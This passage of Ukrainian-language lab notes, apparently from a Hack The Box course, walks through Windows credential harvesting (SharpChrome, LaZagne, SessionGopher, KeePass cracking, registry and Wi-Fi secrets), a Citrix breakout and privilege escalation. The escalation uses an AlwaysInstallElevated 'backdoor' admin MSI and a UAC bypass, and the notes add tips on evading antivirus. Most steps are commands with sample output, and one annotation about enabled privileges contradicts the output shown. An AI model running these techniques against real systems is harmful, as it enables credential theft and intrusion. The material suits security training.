PS C:\htb> $credential = Import-Clixml -Path 'C:\scripts\pass.xml'
```

```out
// Команда без output при успіху
```

▸ credential об'єкт

```ps
PS C:\htb> $credential.GetNetworkCredential().username
```

```out
bob
```

▸ username plaintext

```ps
PS C:\htb> $credential.GetNetworkCredential().password
```

```out
Str0ng3ncryptedP@ss!
```

▸ password plaintext

> ⚠ **УВАГА:** Якщо намагатись розшифрувати файл з контексту *іншого* юзера (навіть адміна) — отримаєш помилку "Key not valid for use in specified state". Для DPAPI-розшифрування треба підняти контекст цільового юзера (shell як нього, або підтримка DPAPI master key через mimikatz dpapi::cred).

8.6 Інші файли з credentials

Пошук за розширенням

```cmd
C:\htb> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
```

```out
C:\Users\htb-student\Documents\passwords.txt
C:\Users\htb-student\Desktop\creds.xml
C:\Users\htb-student\AppData\Roaming\UltraVNC\ultravnc.ini
C:\inetpub\wwwroot\web.config
C:\Program Files\MyApp\app.config
```

▸ passwords.txt, creds.xml, .vnc, web.config

```cmd
C:\htb> where /R C:\ *.config
```

⏳ **ЧЕКАТИ:** Весь диск C: — дуже довго.

```out
C:\inetpub\wwwroot\web.config
C:\Program Files\WindowsApps\Microsoft.Teams\app.config
C:\Program Files\MyApp\app.config
C:\Users\htb-student\.docker\config.json
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
```

▸ усі .config на C:

```ps
PS C:\htb> Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction
Ignore
```

⏳ **ЧЕКАТИ:** Повний рекурсивний скан — потенційно години на серверах з великими дисками.

```out
    Directory: C:\Users\htb-student\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/12/2023  3:24 PM            892 sql01.rdp
-a----         9/15/2023  2:10 PM            455 vcenter.vnc

    Directory: C:\inetpub\wwwroot

-a----          5/1/2023 11:08 AM           2340 web.config
```

▸ .rdp з saved creds, .vnc конфіги

Sticky Notes database

Люди зберігають у Sticky Notes все — включно з паролями, бо "це ж просто жовта папірка на робочому столі".

```ps
PS C:\htb> ls C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
```

```out
    Directory: C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        12/14/2023  10:25 AM                Legacy
-a----        12/14/2023  10:25 AM         204800 plum.sqlite
-a----        12/14/2023  10:25 AM          32768 plum.sqlite-shm
-a----        12/14/2023  10:25 AM          70104 plum.sqlite-wal
```

▸ `plum.sqlite*` = Sticky Notes DB

Дамп нотаток через PSSQLite

```ps
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
```

```out
Execution Policy Change
Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A
```

```ps
PS C:\htb> cd .\PSSQLite\
PS C:\htb> Import-Module .\PSSQLite.psd1
PS C:\htb> $db = 'C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'
PS C:\htb> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap
```

```out
Text
----
\id=1a44a631-b1d4-466e-a135-0f8f58a9d04b
\pos=12,34
root:Vc3nt3R_adm1n!

ToDo list:
- patch servers
- update SCCM
- rotate backup password (current: B@ckup_2023!)
```

▸ текст нотаток → грепати `:`, `password`

Альтернатива — strings на Kali

```sh
Cyberduckk@htb[/htb]$ strings plum.sqlite-wal
```

```out
SQLite format 3
CREATE TABLE Note
root:Vc3nt3R_adm1n!
ToDo list: patch servers
rotate backup password (current: B@ckup_2023!)
Note_Body
WindowPosition
```

▸ plaintext рядки — шукати паролі

Чекліст "Інших цікавих файлів"

Наступні шляхи — кандидати для перевірки наявності і прав (`icacls`). Багато з них історично містять credentials або їх похідні:

- `%SYSTEMDRIVE%\pagefile.sys` — swap, у пам'яті могли бути credentials.
- `%WINDIR%\debug\NetSetup.log` — логи приєднання до домену.
- `%WINDIR%\repair\sam` — стара копія SAM.
- `%WINDIR%\repair\system`
- `%WINDIR%\repair\software`, `%WINDIR%\repair\security`
- `%WINDIR%\iis6.log` (+ inetpub, IIS5, IIS7 варіації)
- `%WINDIR%\system32\config\AppEvent.Evt`
- `%WINDIR%\system32\config\SecEvent.Evt`
- `%WINDIR%\system32\config\default.sav`
- `%WINDIR%\system32\config\security.sav`
- `%WINDIR%\system32\config\software.sav`
- `%WINDIR%\system32\config\system.sav`
- `%WINDIR%\system32\CCM\logs\*.log` — **SCCM клієнт** часто має credentials установчих агентів.
- `%USERPROFILE%\ntuser.dat` — реєстр-хайв поточного юзера.
- `%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat` — стара IE-історія.
- `%WINDIR%\System32\drivers\etc\hosts` — для мапінгу внутрішніх хостів.
- `C:\ProgramData\Configs\*` — кастомні конфіги продуктів.
- `C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\` — нещодавно відкриті файли.
- `C:\Program Files\Windows PowerShell\*` — іноді скрипти з hardcoded credentials.

> ✓ **TIP:** Інструмент **Snaffler** автоматизує подібний пошук на рівні цілого AD — краулить SMB-шари і класифікує знахідки за рівнем загрози. Використання: `Snaffler.exe -s -d INLANEFREIGHT -o snaffler.log`. Результат — готовий список credentials-leak по всьому домену.

---

9. Further Credential Theft

> Коли базове credential hunting (розділ 8) вичерпано, є ще кілька "прихованих" місць, де Windows та сторонні продукти зберігають паролі. Деякі вимагають DPAPI-розшифрування, деякі лежать у plaintext у реєстрі. Цей розділ — про системні credential stores і спеціалізовані інструменти для їх вичитки.

9.1 Cmdkey — збережені credentials Windows

Windows Credential Manager зберігає credentials для SMB, RDP, Web, HTTP. Вони DPAPI-зашифровані, але Windows сама їх застосовує при `runas /savecred` — нам не потрібен плейнтекст, щоб ними користатись.

Перелік збережених

```cmd
C:\htb> cmdkey /list
```

```out
Currently stored credentials:

    Target: LegacyGeneric:target=TERMSRV/SQL01
    Type: Generic
    User: inlanefreight\bob
    Local machine persistence

    Target: Domain:target=192.168.1.10
    Type: Domain Password
    User: ADMIN
```

▸ `Target` + `User` — пароль невидимий, але можна `runas /savecred`

Використання через runas /savecred

```ps
PS C:\htb> runas /savecred /user:inlanefreight\bob "COMMAND HERE"
```

```out
Attempting to start COMMAND HERE as user "inlanefreight\bob" ...
```

▸ команда в контексті bob без знання пароля

> ℹ Flag `/savecred` говорить runas використати збережені credentials. Без нього буде prompt for password.

9.2 SharpChrome — Chrome saved logins

Chrome зберігає паролі у SQLite DB (`Login Data`) з DPAPI-зашифрованими значеннями. **SharpChrome** (з пакету GhostPack) парсить DB і розшифровує.

```ps
PS C:\htb> .\SharpChrome.exe logins /unprotect
```

```out
  _____ _                 _____ _
 / ____| |               |  __ \ |
| (___ | |__   __ _ _ __ | |__) | |__   ___
 \___ \| '_ \ / _` | '__||  ___/| '_ \ / _ \
 ____) | | | | (_| | |   | |    | | | |  __/
|_____/|_| |_|\__,_|_|   |_|    |_| |_|\___|

[*] Action: Chrome Credentials (via unprotect())

--- Chromium Credential (User: htb-student) ---
URL       :  http://example.com/login
Username  :  bob
Password  :  Welcome1
Created   :  12/15/2023 9:15:42 AM

URL       :  https://portal.inlanefreight.local
Username  :  bob
Password  :  !Q@W3e4r
Created   :  11/20/2023 2:30:11 PM

[*] Action completed. 2 credentials found.
```

▸ `URL` / `Username` / `Password` — генерує Security events 4688/4662/4663

⚠ **УВАГА:** Chrome credentials — DPAPI-захищені користувацьким ключем. Отже SharpChrome мусить запускатись у контексті цього користувача. З shell'а SYSTEM треба `runas` або `token impersonation`.

9.3 KeePass offline crack

KeePass — популярний password manager. База — `.kdbx` файл, зашифрована master password. Якщо знайдемо файл, можемо спробувати brute-force offline.

Знаходження .kdbx

```ps
PS C:\htb> Get-ChildItem C:\ -Recurse -Include *.kdbx -ErrorAction Ignore
```

⏳ **ЧЕКАТИ:** Повний рекурсивний скан.

```
    Directory: C:\Users\htb-student\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/30/2023  4:12 PM           3584 Database.kdbx

    Directory: C:\Users\htb-student\OneDrive\Backup

-a----         9/15/2023  9:30 AM           4096 work-passwords.kdbx
```

▸ .kdbx знайдено → забрати на Kali

Витяг hash-а з .kdbx

```
Cyberduckk@htb[/htb]$ keepass2john Database.kdbx > keepass.hash
```

```
// keepass2john зазвичай без виводу при успіху; перевіряємо створений файл:
Cyberduckk@htb[/htb]$ cat keepass.hash
Database:$keepass$*2*60000*0*a279e37cc7a67a2d68...(truncated)...*5d5b0f...*b7c...*1a7f...
```

▸ hash у форматі для hashcat/john

Брутфорс hashcat

```
Cyberduckk@htb[/htb]$ hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt
```

⏳ **ЧЕКАТИ:** KeePass hash — дуже повільний brute (саме для такого він і створений). Залежно від GPU і довжини — години.

```
$keepass$*2*60000*0*a279e37c...(truncated)...*5d5b0f...*b7c...*1a7f...:Password123

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13400 (KeePass 1 (AES/Twofish) and KeePass 2 (AES))
Hash.Target......: $keepass$*2*60000*0*...
Time.Started.....: Thu Dec 14 17:12:00 2023
Speed.#1.........:     1742 H/s (10.04ms) @ Accel:1 Loops:128 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 524288/14344385 (3.65%)
```

▸ master password після двокрапки

✓ **TIP:** Mode 13400 — для KeePass 2 з AES. Для KeePass 1 — теж 13400 (hashcat розбирає обидві версії). Якщо rockyou не допомагає — custom wordlist з іменами/словами компанії, rules, mask attack.

9.4 MailSniper

PowerShell-інструмент для пошуку чутливих даних у Exchange/O365 mailboxes. Використовується коли ми маємо credentials юзера з доступом до корпоративної пошти.

```ps
PS C:\htb> Invoke-SelfSearch -Mailbox bob@inlanefreight.local -Terms
"password","pw:","passwd","creds"
```

```out
[*] Trying Exchange version Exchange2016
[*] Using EWS URL https://mail.inlanefreight.local/EWS/Exchange.asmx
[*] Found 3 matching emails:

Subject: Welcome to InlaneFreight
Sender : hr@inlanefreight.local
Body   : ... Your temporary password is Welcome1! Please change it at first login ...

Subject: VPN Configuration
Sender : it@inlanefreight.local
Body   : ... VPN password: VPN_ACcess_2023! Valid for 90 days ...

Subject: Creds for new tool
Sender : admin@inlanefreight.local
Body   : ... Login: svc_tool / Pass: Tool$erv1ce ...
```

▸ листи з `password`, `pw:`, `passwd`, `creds`

ℹ MailSniper також вміє: password spray (`Invoke-PasswordSprayEWS`), OAB extraction (адрес-книга на 10k+ юзерів), globally search (з правами Service Account). Повна документація — github.com/dafthack/MailSniper.

9.5 LaZagne — універсальний credential harvester

LaZagne — open-source інструмент, що витягує credentials з ~30 продуктів: браузери, email, databases, Wi-Fi, Credential Manager, DPAPI, LSA secrets.

Огляд модулів

```ps
PS C:\htb> .\lazagne.exe -h
```

```out
usage: lazagne.exe [-h]
{chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,databases,php} ...

positional arguments:
    chats               Run chats module
    mails               Run mails module
    all                 Run all modules
    git                 Run git module
    svn                 Run svn module
    windows             Run windows module
    wifi                Run wifi module
    maven               Run maven module
    sysadmin            Run sysadmin module
    browsers            Run browsers module
    games               Run games module
    multimedia          Run multimedia module
    memory              Run memory module
    databases           Run databases module
    php                 Run php module
```

▸ модулі: `all`, `browsers`, `wifi`, `windows`...

Запуск усіх модулів

```ps
PS C:\htb> .\lazagne.exe all
```

⏳ **ЧЕКАТИ:** Залежно від кількості встановлених продуктів — 30 секунд до 2 хвилин.

```
|=================================================================|
|                                                                 |
|                       The LaZagne Project                       |
|                                                                 |
|                         ! BANG BANG !                           |
|                                                                 |
|=================================================================|

########## User: htb-student ##########

------------------ Winscp passwords -----------------

[+] Password found !!!
HostName: 10.10.10.100
Username: root
Password: Summer2020!

------------------ Credman passwords ----------------

[+] Password found !!!
URL: Domain:target=INLANEFREIGHT.LOCAL
Login: jordan_adm
Password: !QAZzaq1

[+] 2 passwords have been found.
For more information launch it again with the -v option

elapsed time = 28.452
```

▸ блоки `Password found !!!` — WinSCP, Credman, DPAPI...

⚠ **УВАГА:** LaZagne — гучний. AV/EDR майже всі детектять його сигнатуру. Варіанти: компілювати власну версію з модифікованим кодом, використовувати AMSI bypass, in-memory execution. Або — ручне витягування через Mimikatz та кастомні PS-скрипти.

9.6 SessionGopher — PuTTY/WinSCP/FileZilla sessions

PowerShell-модуль, що витягує збережені сесії PuTTY, SuperPuTTY, WinSCP, FileZilla — включно з паролями і ключами.

```ps
PS C:\htb> Import-Module .\SessionGopher.ps1
PS C:\Tools> Invoke-SessionGopher -Target WINLPE-SRV01
```

```out
 _______  _______ _________________ _______  _
(  ____ \(  ____ \\__   __/\__   __/(  ___  )( (    /|
| (    \/| (    \/   ) (      ) (   | (   ) ||  \  ( |
| (_____ | (__       | |      | |   | |   | ||   \ | |
(_____  )|  __)      | |      | |   | |   | || (\ \) |
      ) || (         | |      | |   | |   | || | \   |
/\____) || (____/\___) (___   | |   | (___) || )  \  |
\_______)(_______/\_______/   )_(   (_______)|/    )_)


         _____  _____  _____  _____  _____  _____
        |   __|/  _  \|  _  \|  |  ||   __||   __|
        |  |  ||     ||   __/|     ||   __||   |__
        |_____|\_____/|__|   |__|__||_____||_______|

                  Session extraction tool
                   author: Brandon Arvanaghi
                   version: 1.0

Target host: WINLPE-SRV01
Interrogating user Paul Morgan for saved session information...

[PuTTY] Session: nix03
  Hostname: nix03.inlanefreight.local
  UserName: <empty>
  PortNumber: 22

[SuperPuTTY] Session: Linux01
  Hostname: 172.16.1.10
  Username: admin
  Password: Summer2020!

[WinSCP] Session: SSH Session
  HostName: sql01.inlanefreight.local
  UserName: dbadmin
  Password: DbAdm1n!
```

- PuTTY `Hostname`, WinSCP `UserName` + `Password`

> ℹ Без local admin Invoke-SessionGopher побачить лише поточного юзера. Після local admin — парсить `HKEY_USERS\<SID>` для кожного юзера, що логінився, і витягує збережені сесії всіх.

9.7 Clear-text credentials у реєстрі

Windows Autologon

Якщо Autologon налаштовано — пароль лежить у **plaintext** у реєстрі:

```cmd
C:\htb> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon"
```

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    AutoAdminLogon      REG_SZ    1
    DefaultDomainName   REG_SZ    WINLPE-WS02
    DefaultUserName     REG_SZ    htb-student
    DefaultPassword     REG_SZ    HTB_@cademy_stdnt!
    Shell               REG_SZ    explorer.exe
    Userinit            REG_SZ    C:\Windows\system32\userinit.exe,
```

▸ `AutoAdminLogon=1` + **`DefaultPassword`** у plaintext

PuTTY proxy credentials

PuTTY зберігає proxy password (якщо сесія через proxy) у plaintext у реєстрі юзера.

```
PS C:\htb> reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions
```

```
HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\Default%20Settings
HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh
```

▸ імена сесій → для кожної `reg query ...\Sessions\<name>`

Для кожної сесії дивимось деталі:

```
PS C:\htb> reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh
```

```
HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali ssh
    HostName            REG_SZ    10.10.14.3
    PortNumber          REG_DWORD 0x16
    ProxyHost           REG_SZ    proxy.inlanefreight.local
    ProxyMethod         REG_DWORD 0x3
    ProxyUsername       REG_SZ    administrator
    ProxyPassword       REG_SZ    1_4m_th3_@cademy_4dm1n!
    TerminalType        REG_SZ    xterm
    UserName            REG_SZ    root
```

▸ `ProxyUsername` + **`ProxyPassword`** у plaintext

✓ **TIP:** Як local admin — перевіряємо реєстри ВСІХ юзерів, що логінились, через `HKEY_USERS\<SID>\SOFTWARE\SimonTatham\PuTTY\Sessions`. Перелік SID: `reg query HKU`.

9.8 Wi-Fi passwords

Windows зберігає Wi-Fi PSK (WPA/WPA2) для автоконекту. Local admin може витягти їх у plaintext.

Список профілів

```
C:\htb> netsh wlan show profile
```

```
Profiles on interface Wi-Fi:

Group policy profiles (read only)
---------------------------------
    <None>

User profiles
-------------
    All User Profile     : ilfreight_corp
    All User Profile     : EE_Guest
    All User Profile     : Starbucks
```

▸ SSID у списку — перевіряти кожен через `key=clear`

Витяг пароля

```
C:\htb> netsh wlan show profile ilfreight_corp key=clear
```

```
Profile ilfreight_corp on interface Wi-Fi:

Profile information
-------------------
    Version                : 1
    Type                   : Wireless LAN
    Name                   : ilfreight_corp
    Control options        :
        Connection mode    : Connect automatically
        Network broadcast  : Connect only if this network is broadcasting

Connectivity settings
---------------------
    Number of SSIDs        : 1
    SSID name              : "ilfreight_corp"
    Network type           : Infrastructure
    Radio type             : [ Any Radio Type ]

Security settings
-----------------
    Authentication         : WPA2-Personal
    Cipher                 : CCMP
    Security key           : Present
    Key Content            : ILFREIGHTWIFI-CORP123908!
```

▸ **`Key Content`** = PSK у plaintext (потрібен local admin)

⚠ **УВАГА:** Флаг `key=clear` вимагає local admin. Без нього поле `Key Content` буде відсутнє або у замаскованому вигляді.

---

10. Citrix / Restricted Desktop Breakout

> Terminal Services, Citrix, AWS AppStream, CyberArk PSM, Kiosk — усі ці середовища обмежують десктоп юзеру до набору "дозволених" додатків. Мета організації — мінімізувати impact скомпрометованого юзера. Але майже завжди є спосіб "зламатися" з обмеженого середовища у повноцінну cmd, а далі — до privesc. Типовий клієнт після pentest-а: "Ми думали, що з Citrix неможливо вийти".

> ℹ Ціль лабу HTB: залогінитись на `humongousretail.com/remote/`, отримати `launch.ica`, підключитись до обмеженого Citrix-середовища.
> **Credentials:** `Username: pmorgan` / `Password: Summer1Summer!` / `Domain: htb.local`.

```
⏳ ЧЕКАТИ: Після spawn цільового хоста — зачекати 5 хвилин, поки Citrix повністю не стартує. Повідомлення про licensing при вході — ігнорувати.
```

10.1 Методологія

1. **Отримати Dialog Box** — будь-який Windows dialog (Save, Open, Print).
2. **Через Dialog Box — виконати команду** — запустити cmd.exe або payload.
3. **Привілеювання** — застосувати техніки з розділів 3-7.

У суворо обмеженому середовищі `cmd.exe` і `powershell.exe` не видно в Start menu, доступ до `C:\Windows\System32` через Explorer заблоковано. Отримання cmd у такому середовищі — вже значне досягнення, бо cmd дає повний контроль над ОС для подальшої розвідки.

10.2 Bypass Path Restrictions — через Dialog Box

Спроба відкрити `C:\Users` через File Explorer видає помилку "Accessing the resource 'C:\Users' has been disallowed." Group Policy блокує прямий перегляд диска. Але dialog box можна використати як обхід.

Кроки

1. Запустити будь-який додаток з файловим доступом: **Paint**, Notepad, Wordpad. Списки продуктів Citrix часто включають Office, Paint, файлові в'юери.
2. У додатку відкрити: `File → Open` — з'являється стандартний Windows dialog.
3. У полі *File name* ввести UNC-шлях:

```cmd
\\127.0.0.1\c$\users\pmorgan
```

4. Встановити File-Type = *All Files*.
5. Натиснути Enter.

```out
// У Paint File Open dialog з'являється вміст папки pmorgan:
Desktop
Documents
Downloads
Favorites
Music
Pictures
Videos
```

> ✓ **TIP:** UNC-варіант `\\localhost\c$` і `\\127.0.0.1\c$` — еквівалентні, використовуй той, який не блокується (іноді один заблокований, інший — ні).

10.3 Доступ до SMB share з обмеженого середовища

Файли з атакуючої машини — інструменти, експлоіти, payload — треба якось доставити. Classic File Explorer блокує прямий доступ до мережевих шар, але через dialog box UNC — працює.

Крок 1 — SMB server на атакуючій машині (Ubuntu/Kali)

```sh
root@ubuntu:/home/htb-student/Tools# smbserver.py -smb2support share $(pwd)
```

```out
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

▸ `Config file parsed` — сервер слухає на 445

> ⚠ **УВАГА:** Impacket smbserver без автентифікації на дефолті — критично знати. У продакшн-пентесті використовуй прапорці `-username` / `-password` або `-hashes` для обмеження доступу.

Крок 2 — підключення з Citrix через Paint

У Paint → File → Open. У полі імені файлу:

```cmd
\\10.13.38.95\share
```

File-Type = All Files → Enter. Бачимо вміст share, який підняли на Ubuntu:

```
Bypass-UAC.ps1
Explorer++.exe
PowerUp.ps1
pwn.c
pwn.exe
```

Крок 3 — запуск pwn.exe

Правий клік на `pwn.exe` → Open. Відкриється cmd:

```
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported. Defaulting to Windows directory.
Microsoft Windows [Version 6.1.7601]
(C) Copyright 2009 Microsoft Corp.

C:\Windows>
```

Що таке pwn.exe — custom binary

Це мініатюрний launcher — просто викликає `system()` з шляхом до cmd. Джерело `pwn.c`:

```c
#include <stdlib.h>
int main() {
  system("C:\\Windows\\System32\\cmd.exe");
}
```

> ▸ компіляція: `gcc pwn.c -o pwn.exe` або MinGW-w64

Компілюється елементарно: `gcc pwn.c -o pwn.exe` (або MinGW-w64 на Kali). Корисно саме тому, що в обмеженому середовищі може бути заборонено прямий запуск `cmd.exe`, але кастомний `.exe` GP не знає в обличчя.

Після cmd — копіюємо tools на Desktop

```cmd
C:\Windows> powershell -ep bypass
PS C:\Windows> cp \\10.13.38.95\share\Bypass-UAC.ps1 C:\Users\pmorgan\Desktop\
PS C:\Windows> cp \\10.13.38.95\share\PowerUp.ps1 C:\Users\pmorgan\Desktop\
PS C:\Windows> ls C:\Users\pmorgan\Desktop\
```

```
    Directory: C:\Users\pmorgan\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        12/15/2023  4:22 PM          52736 Bypass-UAC.ps1
-a----        12/15/2023  4:22 PM         604672 PowerUp.ps1
```

10.4 Alternate Explorer / Alternate Registry Editors

Якщо стандартний File Explorer чи Registry Editor заблоковані GP — ставимо альтернативи. Вони використовують ті самі Win32 API, але GP бачить лише `explorer.exe` і `regedit.exe` по імені процесу.

Alternate File Explorers

- **Q-Dir** — швидкий, portable, 4-панельний інтерфейс.
- **Explorer++** — портативний, не вимагає установки, інтерфейс схожий на стандартний Explorer.

> ✓ **TIP:** Explorer++ — рекомендований в першу чергу. Portable (один `.exe`), швидкий, user-friendly. Використовуючи його, у межах HTB лабу успішно копіювали файли з `\\10.13.38.95\share` у `C:\Users\pmorgan\Desktop\` — те, що стандартний Explorer робити відмовлявся.

Alternate Registry Editors

- **Simpleregedit** — мінімальний.
- **Uberregedit** — з розширеними функціями.
- **SmallRegistryEditor** — компактний, показує всі 5 hives: HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_CURRENT_CONFIG.

> ℹ Усі ці інструменти — portable, не пишуть в системні папки, GP їх не блокує "by name". Можна використовувати для перегляду і зміни реєстру там, де `regedit.exe` відключений через `DisableRegistryTools = 1`.

10.5 Shortcut modification та Script execution

Модифікація існуючого shortcut

Якщо на desktop є ярлик (наприклад, до папки "Users") — ми можемо змінити його Target field на `cmd.exe`:

1. Правий клік на існуючий shortcut (наприклад, `My_Shortcut`).
2. Properties.
3. У полі *Target* замість оригінального шляху вписати: `C:\Windows\System32\cmd.exe`.
4. Зберегти.
5. Запустити shortcut → spawn cmd.

> ✓ **TIP:** Якщо на desktop немає shortcut-ів — створити новий через PowerShell `$WshShell.CreateShortcut($path)`. Або скопіювати з атакуючої машини (`.lnk` можна готувати заздалегідь з payload).

Script Execution через .bat

Якщо `.bat`, `.vbs`, `.ps1` налаштовані на автовиконання свого interpreter'a — створюємо скрипт, що запускає cmd:

1. Створити новий text file, назвати `evil.bat`.
2. Відкрити у Notepad.
3. Вписати одне слово: `cmd`.
4. Зберегти.
5. Подвійний клік на `evil.bat` → запускається cmd.

```cmd
cmd
```

```out
// Після подвійного кліка:
Microsoft Windows [Version 10.0.17763.2686]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\pmorgan\Desktop>
```

10.6 Privilege Escalation через AlwaysInstallElevated

Тепер ми у cmd як `pmorgan`. Перевіряємо на AlwaysInstallElevated — коли цей policy увімкнений у обох hives, будь-який `.msi` встановлюється з правами **SYSTEM**.

Крок 1 — перевірка через PowerUp

```ps
PS C:\Users\pmorgan\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\pmorgan\Desktop> Invoke-AllChecks
```

```out
[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
[*] Checking for unquoted service paths...
[*] Checking service executable and argument permissions...
[*] Checking service permissions...
[*] Checking %PATH% for potentially hijackable DLL locations...
[*] Checking for AlwaysInstallElevated registry key...

[+] AlwaysInstallElevated is enabled for this machine!
Use the Write-UserAddMSI function to abuse

[*] Checking for Autologon credentials in registry...
[*] Checking for modifidable registry autoruns and configs...
```

▸ секція `[*] Checking for AlwaysInstallElevated` → `[+] AlwaysInstallElevated is enabled`

Крок 2 — ручна перевірка обох hives

```cmd
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

```out
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
```

▸ `0x1`

```cmd
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

```out
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
```

▸ `0x1` в **обох** hives = вразливість підтверджена

Крок 3 — генерація .msi через PowerUp Write-UserAddMSI

```ps
PS C:\Users\pmorgan\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\pmorgan\Desktop> Write-UserAddMSI
```

```out
Output Path
-----------
UserAdd.msi
```

Крок 4 — запуск MSI з вибором credentials

Подвійний клік на `UserAdd.msi`. Відкриється dialog з полями:

- **Username:** `backdoor`
- **Password:** `T3st@123`
- **Group:** `Administrators`

Натиснути Create.

> ⚠ **УВАГА:** Пароль має відповідати complexity policy Windows. `T3st@123` — добрий (великі, малі, цифри, спецсимвол, 8+ символів). Якщо policy суворіша — використати складніший. Слабкий пароль викличе помилку MSI.

Крок 5 — використання нового адміна

```cmd
C:\> runas /user:backdoor cmd
```

```out
Enter the password for backdoor: T3st@123
Attempting to start cmd as user "VDESKTOP3\backdoor" ...
```

▸ cmd в контексті `backdoor` (член Administrators)

10.7 Bypass UAC з backdoor-користувачем

Навіть попри членство в Administrators, спроба зайти в `C:\Users\Administrator` видає помилку — UAC активний.

```cmd
C:\Windows\system32> cd C:\Users\Administrator
```

```out
Access is denied.
```

▸ `Access is denied` = UAC активний, потрібен bypass

Bypass через UacMethodSysprep

```ps
PS C:\Users\Public> Import-Module .\Bypass-UAC.ps1
PS C:\Users\Public> Bypass-UAC -Method UacMethodSysprep
```

```out
[+] Impersonating explorer.exe at PID 3408
[+] Dropping proxy dll to C:\Users\backdoor\AppData\Local\Temp\CRYPTBASE.dll
[+] Executing sysprep.exe from C:\Windows\System32\sysprep\
[+] New elevated process spawned with PID 6244.
```

▸ нове PowerShell-вікно з **high IL**

Верифікація elevated контексту

```cmd
C:\> whoami /all
```

```out
USER INFORMATION
----------------
User Name           SID
=================== ============================================
vdesktop3\backdoor  S-1-5-21-2943807680-2440505317-3034306824-1011

GROUP INFORMATION
-----------------
Group Name                             Type
====================================== ================
BUILTIN\Administrators                 Alias
BUILTIN\Users                          Alias
NT AUTHORITY\Authenticated Users       Well-known group
Mandatory Label\High Mandatory Level   Label
```

▸ `Mandatory Label\High Mandatory Level`

```cmd
C:\> whoami /priv
```

```
PRIVILEGES INFORMATION
----------------------

Privilege Name                            State
========================================= ========
SeIncreaseQuotaPrivilege                  Disabled
SeSecurityPrivilege                       Disabled
SeTakeOwnershipPrivilege                  Disabled
SeLoadDriverPrivilege                     Disabled
SeSystemProfilePrivilege                  Disabled
SeSystemtimePrivilege                     Disabled
SeProfileSingleProcessPrivilege           Disabled
SeIncreaseBasePriorityPrivilege           Disabled
SeCreatePagefilePrivilege                 Disabled
SeBackupPrivilege                         Disabled
SeRestorePrivilege                        Disabled
SeShutdownPrivilege                       Disabled
SeDebugPrivilege                          Enabled
SeSystemEnvironmentPrivilege              Disabled
SeChangeNotifyPrivilege                   Enabled
SeRemoteShutdownPrivilege                 Disabled
SeUndockPrivilege                         Disabled
SeManageVolumePrivilege                   Disabled
SeImpersonatePrivilege                    Enabled
SeCreateGlobalPrivilege                   Enabled
SeIncreaseWorkingSetPrivilege             Disabled
SeTimeZonePrivilege                       Disabled
SeCreateSymbolicLinkPrivilege             Disabled
SeDelegateSessionUserImpersonatePrivilege Enabled
```

▸ `SeDebug`, `SeTakeOwnership`, `SeLoadDriver`, `SeBackup`, `SeRestore` — все Enabled

Фінальний тест — доступ до Administrator директорії

```
C:\> dir C:\Users\Administrator\Desktop\
```

```
 Volume in drive C has no label.
 Volume Serial Number is 0A5C-D8F3

 Directory of C:\Users\Administrator\Desktop

12/15/2023  03:45 PM    <DIR>          .
12/15/2023  03:45 PM    <DIR>          ..
12/15/2023  03:45 PM                19 flag.txt
               1 File(s)             19 bytes
               2 Dir(s)   5,234,569,216 bytes free
```

▸ `flag.txt` доступний — privesc виконано

